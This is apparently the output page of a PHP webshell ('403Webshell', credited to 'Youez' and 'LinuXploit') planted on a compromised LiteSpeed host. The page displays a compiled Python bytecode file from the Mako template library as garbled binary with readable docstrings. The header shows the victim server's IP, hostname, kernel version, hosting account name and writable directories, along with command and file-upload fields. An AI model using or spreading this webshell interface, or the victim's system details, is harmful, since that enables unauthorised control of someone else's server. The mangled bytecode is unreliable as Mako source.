403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.145.38.251
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/mako/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/mako/__pycache__/lookup.cpython-37.pyc
B

�C]�1�@s�ddlZddlZddlZddlZddlmZddlmZddlmZyddl	Z	Wnddl
Z	YnXGdd�de�ZGdd�de�Z
dS)	�N)�
exceptions)�util)�Templatec@s2eZdZdZdd�Zddd�Zdd�Zd	d
�ZdS)�TemplateCollectiona<Represent a collection of :class:`.Template` objects,
    identifiable via URI.

    A :class:`.TemplateCollection` is linked to the usage of
    all template tags that address other templates, such
    as ``<%include>``, ``<%namespace>``, and ``<%inherit>``.
    The ``file`` attribute of each of those tags refers
    to a string URI that is passed to that :class:`.Template`
    object's :class:`.TemplateCollection` for resolution.

    :class:`.TemplateCollection` is an abstract class,
    with the usual default implementation being :class:`.TemplateLookup`.

     cCs*y|�|�dStjk
r$dSXdS)z�Return ``True`` if this :class:`.TemplateLookup` is
        capable of returning a :class:`.Template` object for the
        given ``uri``.

        :param uri: String URI of the template to be resolved.

        TFN)�get_templater�TemplateLookupException)�self�uri�r
�</opt/alt/python37/lib/python3.7/site-packages/mako/lookup.py�has_template's

zTemplateCollection.has_templateNcCs
t��dS)a�Return a :class:`.Template` object corresponding to the given
        ``uri``.

        The default implementation raises
        :class:`.NotImplementedError`. Implementations should
        raise :class:`.TemplateLookupException` if the given ``uri``
        cannot be resolved.

        :param uri: String URI of the template to be resolved.
        :param relativeto: if present, the given ``uri`` is assumed to
         be relative to this URI.

        N)�NotImplementedError)rr	�
relativetor
r
rr5szTemplateCollection.get_templatecCs|S)zaConvert the given ``filename`` to a URI relative to
           this :class:`.TemplateCollection`.r
)rr	�filenamer
r
r�filename_to_uriEsz"TemplateCollection.filename_to_uricCs|S)a�Adjust the given ``uri`` based on the calling ``filename``.

        When this method is called from the runtime, the
        ``filename`` parameter is taken directly to the ``filename``
        attribute of the calling template. Therefore a custom
        :class:`.TemplateCollection` subclass can place any string
        identifier desired in the ``filename`` parameter of the
        :class:`.Template` objects it constructs and have them come back
        here.

        r
)rr	rr
r
r�
adjust_uriKszTemplateCollection.adjust_uri)N)�__name__�
__module__�__qualname__�__doc__rrrrr
r
r
rrs

rc@sZeZdZdZdd	d
�Zdd�Zd
d�Zdd�Zdd�Zdd�Z	dd�Z
dd�Zdd�ZdS)�TemplateLookupa�	Represent a collection of templates that locates template source files
    from the local filesystem.

    The primary argument is the ``directories`` argument, the list of
    directories to search:

    .. sourcecode:: python

        lookup = TemplateLookup(["/path/to/templates"])
        some_template = lookup.get_template("/index.html")

    The :class:`.TemplateLookup` can also be given :class:`.Template` objects
    programatically using :meth:`.put_string` or :meth:`.put_template`:

    .. sourcecode:: python

        lookup = TemplateLookup()
        lookup.put_string("base.html", '''
            <html><body>${self.next()}</body></html>
        ''')
        lookup.put_string("hello.html", '''
            <%include file='base.html'/>

            Hello, world !
        ''')


    :param directories: A list of directory names which will be
     searched for a particular template URI. The URI is appended
     to each directory and the filesystem checked.

    :param collection_size: Approximate size of the collection used
     to store templates. If left at its default of ``-1``, the size
     is unbounded, and a plain Python dictionary is used to
     relate URI strings to :class:`.Template` instances.
     Otherwise, a least-recently-used cache object is used which
     will maintain the size of the collection approximately to
     the number given.

    :param filesystem_checks: When at its default value of ``True``,
     each call to :meth:`.TemplateLookup.get_template()` will
     compare the filesystem last modified time to the time in
     which an existing :class:`.Template` object was created.
     This allows the :class:`.TemplateLookup` to regenerate a
     new :class:`.Template` whenever the original source has
     been updated. Set this to ``False`` for a very minor
     performance increase.

    :param modulename_callable: A callable which, when present,
     is passed the path of the source file as well as the
     requested URI, and then returns the full path of the
     generated Python module file. This is used to inject
     alternate schemes for Python module location. If left at
     its default of ``None``, the built in system of generation
     based on ``module_directory`` plus ``uri`` is used.

    All other keyword parameters available for
    :class:`.Template` are mirrored here. When new
    :class:`.Template` objects are created, the keywords
    established with this :class:`.TemplateLookup` are passed on
    to each new :class:`.Template`.

    NT���F�strict�beakerr
cCs�dd�t�|d�D�|_||_||_||_||_|dkr<i}|rL|�d|�|r\|�d|�|rl|�d|�||||||	||
|||||
||||||||d�|_|dkr�i|_	i|_
nt�|�|_	t�|�|_
t�
�|_dS)	NcSsg|]}t�|��qSr
)�	posixpath�normpath)�.0�dr
r
r�
<listcomp>�sz+TemplateLookup.__init__.<locals>.<listcomp>r
�dir�url�type)�format_exceptions�
error_handler�include_error_handler�disable_unicode�bytestring_passthrough�output_encoding�
cache_impl�encoding_errors�input_encoding�module_directory�
module_writer�
cache_args�
cache_enabled�default_filters�buffer_filters�strict_undefined�imports�future_imports�enable_loop�preprocessor�	lexer_clsr)rZto_list�directoriesr+�modulename_callable�filesystem_checks�collection_size�
setdefault�
template_args�_collection�
_uri_cacheZLRUCache�	threading�Lock�_mutex)rr7r+r9r:r"r#r%r&r'r)r-r(r.Z
cache_typeZ	cache_dirZ	cache_urlr8r,r/r0r1r2r3r4r*r5r6r$r
r
r�__init__�sP!
zTemplateLookup.__init__c
Cs�y&|jr|�||j|�S|j|SWn|tk
r�t�dd|�}xX|jD]@}|�tj	j
tj
�}t�t�
||��}tj	�|�rL|�||�SqLWt�d|��YnXdS)z�Return a :class:`.Template` object corresponding to the given
        ``uri``.

        .. note:: The ``relativeto`` argument is not supported here at
           the moment.

        z^\/+�zCant locate template for uri %rN)r9�_checkr=�KeyError�re�subr7�replace�os�path�seprr�join�isfile�_loadrZTopLevelLookupException)rr	�u�dir_Zsrcfiler
r
rr�s	zTemplateLookup.get_templatecCst||f}||jkr|j|S|ddkrb|dk	rNt�t�|�|�}|j|<qpd|}|j|<n|}|j|<|S)z9Adjust the given ``uri`` based on the given relative URI.r�/N)r>rrL�dirname)rr	r�key�vr
r
rr
s

zTemplateLookup.adjust_uricCs8y
|j|Stk
r2|�|�}||j|<|SXdS)zaConvert the given ``filename`` to a URI relative to
           this :class:`.TemplateCollection`.N)r>rE�_relativeize)rr�valuer
r
rrs


zTemplateLookup.filename_to_uricCsFt�|�}x6|jD](}|dt|��|kr|t|�d�SqWdSdS)zkReturn the portion of a filename that is 'relative'
           to the directories in this lookup.

        rN)rrr7�len)rrrPr
r
rrU's

zTemplateLookup._relativeizecCs�|j��z�y
|j|Stk
r*YnXyJ|jdk	rF|�||�}nd}tf|t�|�||d�|j��|j|<}|S|j�	|d��YnXWd|j�
�XdS)N)r	r�lookup�module_filename)rA�acquirer=rEr8rrrr<�pop�release)rrr	rY�templater
r
rrN4s*


zTemplateLookup._loadcCs�|jdkr|SyBt�|j�}|jj|tjkrJ|j�|d�|�|j|�S|SWn0t	k
r�|j�|d�t
�d|��YnXdS)NzCant locate template for uri %r)rrI�stat�moduleZ_modified_time�ST_MTIMEr=r[rN�OSErrorrr)rr	r]Z
template_statr
r
rrDSs
zTemplateLookup._checkcCs"t|f||d�|j��|j|<dS)z�Place a new :class:`.Template` object into this
        :class:`.TemplateLookup`, based on the given string of
        ``text``.

        )rXr	N)rr<r=)rr	�textr
r
r�
put_stringdszTemplateLookup.put_stringcCs||j|<dS)z�Place a new :class:`.Template` object into this
        :class:`.TemplateLookup`, based on the given
        :class:`.Template` object.

        N)r=)rr	r]r
r
r�put_templatenszTemplateLookup.put_template)NNTrFNFFNrNrTNNNNNNr
FNNTNNNN)
rrrrrBrrrrUrNrDrcrdr
r
r
rrZsJ@
5

r)rIrrFr^�makorrZ
mako.templaterr?Zdummy_threading�objectrrr
r
r
r�<module>sD

Youez - 2016 - github.com/yon3zu
LinuXploit